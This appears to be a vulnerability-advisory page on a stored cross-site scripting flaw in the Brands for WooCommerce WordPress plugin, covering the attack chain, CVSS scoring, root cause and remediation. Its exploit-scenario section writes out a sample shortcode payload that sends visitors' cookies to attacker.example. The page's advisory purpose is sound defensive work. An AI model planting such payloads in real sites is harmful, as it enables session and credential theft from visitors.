Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain contributor credentials via phishing or credential reuse
-
DeliveryAuthenticate to WordPress admin panel
-
ExploitInject malicious JavaScript via 'style' shortcode attribute in post content
-
ExecutionPublish or update the injected page
-
PersistVictim browses to the page
-
ImpactPayload executes in victim's browser session
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a WordPress account with contributor-level access or above on the target site - this is the minimum role that can publish shortcode-bearing content. The target site must have the Brands for WooCommerce plugin installed and active, running version 3.8.8 or earlier. A victim must subsequently visit a page containing the injected shortcode for the XSS payload to execute in their browser. What limits exploitation: the attacker must obtain valid contributor (or higher) credentials, which requires either social engineering, credential stuffing, or a separate account compromise vector - unauthenticated exploitation is not possible given PR:L in the CVSS vector. Sites that restrict shortcode usage by role, or that have no contributor-tier accounts, are not exploitable via this path. |
| Impact | The CVSS 6.4 (Medium) score is appropriate for this class of vulnerability. The CVSS vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N indicates network-accessible attack with low complexity, requiring only contributor-level WordPress authentication - a privilege tier typically granted to content editors and guest authors. The scope change (S:C) is the critical differentiator: while the attacker operates within the WordPress application boundary, the injected payload executes in site visitors' browsers, enabling session token theft, credential phishing, or malicious redirects against potentially large user populations. No EPSS data was provided and no KEV listing exists, meaning there is no evidence of active exploitation. No public POC has been identified. The real-world risk is elevated in multi-author WordPress/WooCommerce stores where contributor access is broadly distributed, or where a single compromised contributor account could pivot to customer data. For stores with tightly controlled contributor access, the practical exploitability is significantly reduced. |
| Exploit ScenarioDerived | An attacker with contributor-level access to a WooCommerce store logs in and creates or edits a post, embedding a malicious shortcode such as [brand style=""><script>document.location='https://attacker.example/steal?c='+document.cookie</script>"] in the post body. Once published, any site visitor who loads the page automatically executes the script in their browser, allowing the attacker to harvest session cookies or WooCommerce customer credentials at scale. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 23, 2026
Stored Cross-Site Scripting in the Brands for WooCommerce WordPress plugin (versions through 3.8.8) allows authenticated contributors to permanently embed arbitrary JavaScript into pages via the unsanitized 'style' shortcode attribute, executing in any visitor's browser upon page load. The scope change (S:C) in the CVSS vector confirms cross-boundary impact: the attacker operates at contributor privilege level but the payload compromises site visitors' browser sessions. A plugin trac changeset (revision 3608899) indicates an upstream fix has been committed. No public exploit or CISA KEV listing identified at time of analysis.
RemediationAI
Update the Brands for WooCommerce plugin immediately via the WordPress admin dashboard or WordPress CLI (wp plugin update brands-for-woocommerce). An upstream fix has been committed to the plugin's WordPress.org repository at changeset 3608899 (https://plugins.trac.wordpress.org/changeset?reponame=&old=3608899%40brands-for-woocommerce&new=3608899%40brands-for-woocommerce); however, the specific patched release version has not been independently confirmed from the available data - verify the installed version post-update against the plugin changelog. As an interim compensating control, restrict contributor-level access to the minimum necessary set of trusted users, since exploitation requires that privilege tier. WordPress site administrators can also deploy a WAF rule targeting the 'style' shortcode attribute in post content (available via Wordfence or similar WordPress security plugins) to block injection attempts without disabling the plugin - note that aggressive WAF rules may interfere with legitimate style attribute usage. The Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/8fa3bcb9-df3e-4042-a28b-3d09bfebeebc should be monitored for confirmed patch version details.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
CWE-79 (Improper Neutralization of Input During Web Page Generation) manifests here through the plugin's shortcode processing pipeline. The WordPress shortcode API passes user-supplied attribute values - specifically the 'style' attribute - through BeRocket's Brands for WooCommerce shortcode handler (includes/shortcodes.php, line 11) and rendering logic (templates/catalog.php, line 34), with a helper function implicated at berocket/includes/functions.php, line 516. The root cause is that the 'style' attribute value is interpolated into rendered HTML without wp_kses(), esc_attr(), or equivalent WordPress sanitization/escaping functions. Because WordPress contributors are permitted to use shortcodes in post content, this allows persistent payload injection. The CPE cpe:2.3:a:berocket:brands_for_woocommerce:*:*:*:*:*:*:*:* confirms the vendor as BeRocket and the affected software component as the brands_for_woocommerce plugin.
Know when Brands For Woocommerce gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Contributor authentication required (PR:L); stored payload auto-executes for all visitors (UI:N); cross-boundary browser impact justifies S:C with limited C/I and no availability impact.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The Brands for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'style' Shortcode Attribute in all versions up to, and including, 3.8.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Brands For Woocommerce
View allStored Cross-Site Scripting in the Brands for WooCommerce WordPress plugin (versions up to and including 3.8.8) allows a
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor pat
Stored cross-site scripting in the BeRocket Brands for WooCommerce WordPress plugin (all versions through 3.8.8) enables
EUVD-2026-47923
GHSA-v4j6-p77v-7vw8
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB